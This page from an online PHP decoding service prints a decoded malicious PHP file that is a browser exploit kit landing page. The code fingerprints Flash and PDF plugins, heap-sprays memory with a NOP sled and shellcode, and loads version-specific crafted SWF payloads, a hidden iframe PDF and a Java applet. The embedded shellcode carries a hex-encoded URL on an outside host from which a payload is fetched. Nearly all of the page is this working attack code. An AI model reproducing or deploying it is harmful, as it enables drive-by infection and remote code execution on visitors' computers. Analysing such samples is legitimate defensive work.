Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php echo "document.write(\"<body></body>\");"; echo "var fdata;var fvers;"; echo "fun..

Decoded Output download

document.write("<body></body>");var fdata;var fvers;function LOADFLASH(){var fDiv = document.createElement('DIV'); fDiv.id = 'j';document.body.appendChild(fDiv);var vid = "<object width='300' height='300' id='BridgeMovie'><param name='BridgeMovie' value='files/other.swf'></param><param name='allowScriptAccess' value='sameDomain'></param><embed src='files/other.swf' name='BridgeMovie' allowScriptAccess='sameDomain' type='application/x-shockwave-flash' width='425' height='355'></embed></object>";function lev (id, eddc){document.getElementById(id).innerHTML = fev(eddc);}function fev(edc){if(edc && edc.toLowerCase().indexOf('classid') == -1){var objPos = edc.toLowerCase().indexOf('object ') + 'object '.length;return edc.substr(0, objPos) + 'classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" ' + edc.substr(objPos);}else{return edc;}}lev('j', vid);}function FLASHSPRAY(){var movie = (navigator.appName.indexOf('Microsoft')!=-1 ? window : document)['BridgeMovie'];movie.sendFromJS(fdata);}function GFLASH(){try{var x = navigator.plugins["Shockwave Flash"];if(x && x.description) {var PlayerVersion = x.description.replace(/([a-zA-Z]|\s)+/, "").replace(/(\s+r|\s+b[0-9]+)/, ".").split(".");fvers=PlayerVersion[2];FLASH9();}else{PDF();}}catch(e){PDF();}}function JAVA(){var applet=document.createElement('applet');applet.setAttribute('code','Show.class');applet.setAttribute('width','100');applet.setAttribute('height','100');document.body.appendChild(applet);}function PDF(){function addp(){var p = document.createElement('iframe');p.setAttribute('src', 'files/all.pdf');p.setAttribute('width', 0);p.setAttribute('height', 0);p.setAttribute('frameborder', '0');document.body.appendChild(p);}for (var i = 0; i < navigator.plugins.length; i++){if (navigator.plugins[i].description.indexOf('Adobe Acrobat')!= -1){addp();break;}if (navigator.plugins[i].description.indexOf('Adobe PDF')!= -1){addp();break;}}FLASH10();}function FLASH10(){if ((fvers=='124')||(fvers=='151')||(fvers=='159')||(fvers=='12')||(fvers=='22')){var memory;var nop = unescape('%u0808%u0808');var SC=unescape('

Did this file decode correctly?

Original Code

<?php
echo "document.write(\"<body></body>\");";
echo "var fdata;var fvers;";
echo "function LOADFLASH(){var fDiv = document.createElement('DIV'); fDiv.id = 'j';document.body.appendChild(fDiv);var vid = \"<object width='300' height='300' id='BridgeMovie'><param name='BridgeMovie' value='files/other.swf'></param><param name='allowScriptAccess' value='sameDomain'></param><embed src='files/other.swf' name='BridgeMovie' allowScriptAccess='sameDomain' type='application/x-shockwave-flash' width='425' height='355'></embed></object>\";function lev (id, eddc){document.getElementById(id).innerHTML = fev(eddc);}function fev(edc){if(edc && edc.toLowerCase().indexOf('classid') == -1){var objPos = edc.toLowerCase().indexOf('object ') + 'object '.length;return edc.substr(0, objPos) + 'classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" ' + edc.substr(objPos);}else{return edc;}}lev('j', vid);}";
echo "function FLASHSPRAY(){var movie = (navigator.appName.indexOf('Microsoft')!=-1 ? window : document)['BridgeMovie'];movie.sendFromJS(fdata);}";
echo "function GFLASH(){try{var x = navigator.plugins[\"Shockwave Flash\"];if(x && x.description) {var PlayerVersion = x.description.replace(/([a-zA-Z]|\\s)+/, \"\").replace(/(\\s+r|\\s+b[0-9]+)/, \".\").split(\".\");fvers=PlayerVersion[2];FLASH9();}else{PDF();}}catch(e){PDF();}}";
echo "function JAVA(){var applet=document.createElement('applet');applet.setAttribute('code','Show.class');applet.setAttribute('width','100');applet.setAttribute('height','100');document.body.appendChild(applet);}";
echo "function PDF(){function addp(){var p = document.createElement('iframe');p.setAttribute('src', 'files/all.pdf');p.setAttribute('width', 0);p.setAttribute('height', 0);p.setAttribute('frameborder', '0');document.body.appendChild(p);}for (var i = 0; i < navigator.plugins.length; i++){if (navigator.plugins[i].description.indexOf('Adobe Acrobat')!= -1){addp();break;}if (navigator.plugins[i].description.indexOf('Adobe PDF')!= -1){addp();break;}}FLASH10();}";
echo "function FLASH10(){if ((fvers=='124')||(fvers=='151')||(fvers=='159')||(fvers=='12')||(fvers=='22')){var memory;var nop = unescape('%u0808%u0808');var SC=unescape('";
echo shellcode($URL."?i=18");
echo "');while(nop.length <= 0x10000/2){nop+=nop;}nop=nop.substring(0,0x10000/2 - SC.length);memory=new Array();for(ass8995=0;ass8995<0x1200;ass8995++){memory[ass8995]=nop + SC;}fdata='46575309600400007800055F00000FA000000C01004411080000004302FFFFFFBF150B00000001005363656E6520310000FF145800000001006FF39005FCE4010060003E80003E80010100FFFFFFFF0164000000FFFFFFFF11358D56D57D16DA493100344C5FFDB76E51725C9FBCE7AB32802672472E5A125B6D9E00286780049525A1254900067E80019EB6D25000FF091000000002000100860606010001000040000000BF061200000026010002001C8CA1770062616C6C5F6D6300BF148A030000010000000010002E00000000230004766F69640C666C6173682E6576656E74730A4D6F7573654576656E740442616C6C0D666C6173682E646973706C6179094D6F766965436C69700C636C69636B48616E646C65720F6D6F75736555704C697374656E6572116D6F757365446F776E4C697374656E657205747261636521687474703A2F2F61646F62652E636F6D2F4153332F323030362F6275696C74696E17666C6173682E646973706C61793A4D6F766965436C697014666C6173682E646973706C61793A53707269746524666C6173682E646973706C61793A446973706C61794F626A656374436F6E7461696E45721F666C6173682E646973706C61793A496E7465726163746976654F626A6563741B666C6173682E646973706C61793A446973706C61794F626A6563741C666C6173682E6576656E74733A4576656E7444697370617463686572064F626A6563740E62616C6C20637265617465643A20046E616D650A627574746F6E4D6F646505434C49434B106164644576656E744C697374656E65720A4D4F5553455F444F574E084D4F5553455F555014596F7520636C69636B6564207468652062616C6C097374617274447261670873746F70447261670F4576656E74446973706174636865720D446973706C61794F626A65637411496E7465726163746976654F626A65637416446973706C61794F626A656374436F6E7461696E657206537072697465111601160316061805050017010500080C1A051A0D1A0E1A0F1A101A111A121A13040E050701060804090A0B0C0D0E0F100F050701060804090A0B0C0D0E0F10020507010608031C07010207020407010507030707050807060907060A090B01091501091601090402091701090801091801091901090A01091A01090901091C01091D0107011307021E07031F0703200703210703220907030600000000000000000101020000010102000001010200000000000000010304090400010305010002060100040701000300000105010304010006000101090A03D0304700000103010A0B33D030D049005D082C14D06609A04F0801D026680AD0600B660C600D4F0E02D0600B660F60104F0E02D0600B661160124F0E024700000202020A0B0AD0305D082C1B4F08014700000301020A0B07D030D04F13004700000401020A0B07D030D04F1400470000050201010927258110258141A2306001020202020202020202020202020202020202020202020202020202024700003F13090000000100020042616C6C0040000000';LOADFLASH();}else{JAVA();}}";
echo "function FLASH9(){var link='";
flink($URL."?i=7");
echo "';var re=/687474703A2F2F647A656E6D6F6E65792E636E2F73312F6C2E7068703F623D3426733D666C617368/;var thesame1='4657530825060000300A00A0000C03034411080000004302FFFFFFC13F20BF0100040000AA0234D1F52513FC57827DEADFF67573821C12551D4AB55E20F86B68556E93CF5D71496916854753045F052AE712ED8C28084362A5F02C5EAC98F9A8A35E182A90BAC4F02C0DF41511AA0AA1C2CCBFE5176E6FB340BC106E7D8E9CE83B9B3B859C67D00ABD135B14AA84C8BA502595AAF09370DDD39F3532475EE985A5A7209F685D61F899C60A458E5330C2C69B862A677CD2D5990A657052CDADBFC004DAD8F2441F69E35D81C48E3F666E2DB7A456417359F820F2D9977A69643AC1B8F337CC87E3E7958FB84F92B5435261816581EC000900006081EC00090000EB6E33C0648B403085C0780D568B400C8B701CAD8B40085EC38B403483C07C8B403CC3608B6C24248B453C8B7C057803FD8B4F188B5F2003DDE333498B348B03F533C099FCAC84C07407C1CA0D03D0EBF43B54242875E28B5F2403DD668B0C4B8B5F1C03DD8B048B03C58944241C61C3EB52AD5052E8A9FFFFFF890783C40883C7043BF175ECC38E4E0EECA517017C1F790AE8FB97FD0F72FEB3167ED8E2732944E85749ED0F7E8B4BE35F5E83EC7C8BECE84CFFFFFF8BD0EB02EB05E8F9FFFFFF58EB02EB668D7D40A4807EFFFF75F94FF6178BF083EE3AFE4E068D7D048BCE83C118E88AFFFFFF83C10CB8016E6574C1F808506877696E698BDC515253FF55045A598BD0E868FFFFFF33C05050505050FF551C89453433C0505050508D5D4053FF7534FF5520894538EB02EB7333C0B0655068612E657889653033C050B08250B0025032C05050B040C1E01850FF7530FF550889453C33C066B80C012BE08BF48D5E045366B80401508D460850FF7538FF55248B460485C0741633C0508D460450FF76048D460850FF753CFF550CEBD0FF753CFF551033C066B80C0103E0EB02EB3633C9B1542BE18BFC33C0F3AA8BFCC607448D77445657505050505050FF753050FF551481C4E00900006181C400090000FF71ECC20400E8CDFEFFFF687474703A2F2F647A656E6D6F6E65792E636E2F73312F6C2E7068703F623D3426733D666C617368FFF80EF4747CB639B7B079153F5D0EF432832D07EB4935FCF43A3EF77DD6CC04325C48DCB67E2D3EF8B639B59664FE6C6BB64801B64913453EC86BB64B1D3EC80EF4747C903EF80EE632832D07EB4935FCF63A3EE77DD6CC062248DA63B663193EE05BB63176B663213EE0B639B63EF8966364FED5ABC0C2C20F49AC3104DF40BE4404DBA5E775460044B2F15D239959D2CD754600A4D7AD80B4738722CC7018E870BC0D2CBDEB92A73D3D3D3D5549494D0712124A4A4A1347505757574444135E531253584A125C08135E4E4E3D3D3DDCD0EAB8C29C5ED7F653B2213DC977CE6CA582C94105B66B6CE6A5A7D9E90CA4488F775B25340E4EC9774575784088E4CB980C4FE411E06F9C5EFBF07BEC43EAB38BD6857285254EB5AB11678A37A815';var thesame2='A0082000000000000000000000000000000000000000000000000000000000000000002043BF150C0000000100E59CBAE699AF20310000BF147F010000010000000010002E0000000010076E65775F666C610C4D61696E54696D656C696E650D666C6173682E646973706C6179094D6F766965436C6970146E65775F666C613A4D61696E54696D656C696E65066672616D6531000E6164644672616D65536372697074064F626A6563740C666C6173682E6576656E74730F4576656E74446973706174636865720D446973706C61794F626A65637411496E7465726163746976654F626A65637416446973706C61794F626A656374436F6E7461696E6572065370726974650716011603180517011607160A000B07010207020407040607050807050907060B07020C07020D07020E07020F04000000000000000000000000000000000001010208030002010301000100000103010104010004000101090A03D0304700000102010A0B09F8628FFFFF0202024700000203010A0B0FD030D049005D04240060034F0402470000030201010927';var thesame3='E82AFBFFFF00';var thesame4='0202020202020202020202020202020202024700003F1319000000010000006E65775F666C612E4D61696E54696D656C696E650040000000000000006E65775F666C612E4D61696E54696D656C696E65';if (fvers=='115'){fdata=thesame1+'DE838E'+thesame2+'F56279F56275F5'+thesame3+'F52902F5637902'+thesame4+'00400000005E2A2628295F295F2928295E5E242548474C4B4A48474B54616A68723B206F697775686E6263206A61796B64747265206878636B61632E2E2C2C68697364662069686173646F756A78636E7862206A6320676668767A6A64676179757364666767670000';}if (fvers=='16'){fdata=thesame1+'A5848A'+thesame2+'F86275F86271F8'+thesame3+'F82902F8637502'+thesame4+'0000000000657566686A646B6A7A6B6A79646F717569773637346530383230323938343837207969736837717567736438393339742D7467206C6B6A63676C6A646B6C797468646B6867667977383779723073666B646873667338376F653635373839373933390000';}if (fvers=='28'){fdata=thesame1+'8C968A'+thesame2+'FC6275FC6271FC'+thesame3+'FC2902FC637502'+thesame4+'000000000030383439332D383772206861736C69643861373677726569717866676C61736620777335746536346520373874206535662073206C64666B6873616C206A68666B6C756973646F6671776137723330383720202069737565682075697779756972200000';}if (fvers=='45'){fdata=thesame1+'E1988A'+thesame2+'F86275F86271F8'+thesame3+'F82902F8637502'+thesame4+'00400000002C5A586863206A68666C756573206F6677387972206B6A64207333643566363420383735676673206572776F38657237773933323834373938333220652D3023242A282A295F2A2625495E2A262648474648474454524544262A2828554A484848480000';}if (fvers=='47'){fdata=thesame1+'E1988A'+thesame2+'F86275F86271F8'+thesame3+'F82902F8637502'+thesame4+'004000000021295F285F292A265E262524464848446B696A61657366206A666A786620793820776F647320666177663332317335363420326331337331642033663234647365743334353933385F282A265E54255E255E257A6A68677366206A687366206A20200000';}if (fvers=='64'){fdata=thesame1.substring(0,86)+'C8F123283D7FADA171C3644EBFED5DD8328C1A62A6FE57740FFC7488E90BBA92BB4A6A9EADFD438815BA094B830B21632C09D4E5B9385EAB6016B42E4436568A0BE3F24728883C31396B4894847DB29674BB005E9EF56D04A1E89F400982EDF2E64EACF1D4464536279CF35BD4316EFB0FBEEC77ED8AB213AE86288B7BC51F8DA0ADC9A8BFB10D2AC9279E02EAE536929FC03112279860648591038BC2AA0D93B3B9C22359984591B4F7209F9EB0ED4A7203A5C0AD99ABF6C9402BF2EAACDFB0B94052D1759E29' + thesame1.substring(484,1958) + '00003D3D3D0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E31D0029FC107EF8BB8F7354416728951B4BACD4E7019CADC394A815EAAE8E'+thesame2+'F56279F56275F5E82AFBFFFF00F52902F5637902' + thesame4 + '00000000002B292928265E5E24616A7764206A68646720797277207A6B20666A68736766206B7975617366647766647364686B6A6866397071387320646E6C6B6A6164667568727269306B64666B6A666869756466686A6866756971383777336B786A686868310000';}if (fdata!=null){fdata=fdata.replace(re,link);LOADFLASH();}else{PDF();}}";
echo "GFLASH();";
?>

Function Calls

shellcode 1

Variables

None

Stats

MD5 8fae17515b3d1370b29cb691d8cea6c6
Eval Count 0
Decode Time 87 ms